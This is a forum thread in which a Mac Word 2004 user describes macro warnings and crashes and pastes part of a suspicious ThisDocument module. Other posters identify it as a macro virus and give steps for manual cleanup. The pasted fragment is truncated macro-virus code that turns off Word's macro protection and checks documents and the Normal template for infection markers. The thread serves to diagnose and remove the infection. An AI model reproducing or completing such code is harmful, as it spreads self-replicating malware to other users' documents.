Visual Basic/Macro problem - looks like virus

[Roderic P]

The System
G5 Tower running Tiger 10.4.1 and Microsoft Offiice 2004, Word 11.1.0.

The Problem 1
I never use Word macros, nor accept them. All the files discussed below
are ones I have created. Since installing Office 2004, when Word opens
a file, it often warns that a macro is present. If I disable the macro,
the file opens as ReadOnly which is a pain as to function that way, I
need to keep renaming files. If I enable the macro(s), the file opens
in normal mode. However, if I then go to Macros/Visual Basic Editor,
each file that is open is listed as a project with a subfolder called
Microsoft Word Objects. The "Normal" file and the files warned as
having Macros all have a subfolder in Microsoft Word Objects called
"ThisDocument". I guess it is meant to be there, but if you look at the
contents of "ThisDocument" it has several paragraphs of content that
looks like someone's biology assignment and then a lot of text that
looks like a virus. I have copied a small portion of that text below.

The Problem 2
Several times when I enabled Macros in an attempt to actually work with
the document, Word and Visual Basic would seize. A Microsoft error flag
would appear but would seize as well, so i can never actually read the
Error Report. I need to ForceQuit both Word and Microsoft Error
Reporting. (We have been experiencing seemingling identical problems in
Excel as well.) At one stage, the problem seemed to be that whenever
Word or Excel were opened, something seemed to be trying to open the
mail program as well, as it would half open before the whole Office
Group seized up. This was why I went searching for a virus and found
the stuff in "This Document" mentioned in Problem 1.

Possible solutions
If I disable Macros when a file is opened, it opens as ReadOnly. Why is
this? This has never happened to me in previous machines/versions. I
guess it could be related to some quirk of the multiple users and
permissions on this machine but I don't see how.

My Virus Protection
Just refusing to ever accept Macros. I spoke with Apple as part of the
G5/Tiger AppleCare about a virus protection program and the advice they
gave me 10 days ago was that I didn't need any. (Yes, I was surprised.)

Thanks for any help.

Roderic P

Below is a part of the content of the ThisDocument file, which looks to
me like a virus.

Private Sub Label1_Click()

'Open Access Loves Nicky F. Also! 8/06/99 20:39:59
'V.U.T Loves Nicky F. Also! 9/06/99 18:53:21
'Hien Loves Nicky F. Also! 6/10/99 7:57:15 AM
'Huy Nguyen Loves Nicky F. Also! 6/28/99 11:02:24 AM
End Sub
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected,
NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


If (Day(Now()) = 1) And (System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info",
"LogFile") = False) Then

If DocumentInfected = True Then

+++lots more of the same for several pages+++++
______________________________________________________________________________________

 

[matt neuburg]

Below is a part of the content of the ThisDocument file, which looks to
me like a virus.

Private Sub Label1_Click()

'Open Access Loves Nicky F. Also! 8/06/99 20:39:59
'V.U.T Loves Nicky F. Also! 9/06/99 18:53:21
'Hien Loves Nicky F. Also! 6/10/99 7:57:15 AM
'Huy Nguyen Loves Nicky F. Also! 6/28/99 11:02:24 AM
End Sub
Private Sub Document_Close()

That's exactly what it is. If you don't want to use a virus cleaner, you
can take a stab at getting rid of this. Throw away (or, if you know how,
fix) your Normal template. Examine your other templates as well. For
documents that are infected, open without enabling macros and copy out
the content into a new document. m.

 

[JE McGimpsey]

The Problem 1
I never use Word macros, nor accept them. All the files discussed below
are ones I have created. Since installing Office 2004, when Word opens
a file, it often warns that a macro is present. If I disable the macro,
the file opens as ReadOnly which is a pain as to function that way, I
need to keep renaming files. If I enable the macro(s), the file opens
in normal mode. However, if I then go to Macros/Visual Basic Editor,
each file that is open is listed as a project with a subfolder called
Microsoft Word Objects. The "Normal" file and the files warned as
having Macros all have a subfolder in Microsoft Word Objects called
"ThisDocument". I guess it is meant to be there, but if you look at the
contents of "ThisDocument" it has several paragraphs of content that
looks like someone's biology assignment and then a lot of text that
looks like a virus. I have copied a small portion of that text below.

Yes, it looks like a macro virus. It's probably benign on your Mac, but
it probably also would be virulent if you sent the docs to a PC user.

Anti-Virus software could probably identify/help clean them, but you can
do it by hand, as well, if you're careful, and absolutely consistent
about opening docs without macros.

First thing to do is, with Word closed, rename the Normal template (it's
in your Microsoft User Data, or MUD, folder. Make sure that there are no
files in the Microsoft Office 2004:Office:Startup:Word: folder.

Restart Word. If there are any customizations you want to save from the
old Normal, use the Organizer to transfer them. Delete the old Normal.

For all the documents you want to clean up...

Open them. Do not enable macros. In the VBE, open their ThisDocument
module and delete everything. Similarly, clean out/delete any other
macro modules. Save and close the document.

Do the same for any user templates you use.

Carefully examine any add-ins (including global templates that were
stored in your Startup folder). They presumably contain code that you
want to run, but they also could have become infected. Selectively clean
them as you would a document.

 

[matt neuburg]

Carefully examine any add-ins (including global templates that were
stored in your Startup folder). They presumably contain code that you
want to run, but they also could have become infected. Selectively clean
them as you would a document

Right - I accidentally left this step out of my previous suggestions.
You need to make sure that you are not running any infected / infecting
global templates other than Normal. m.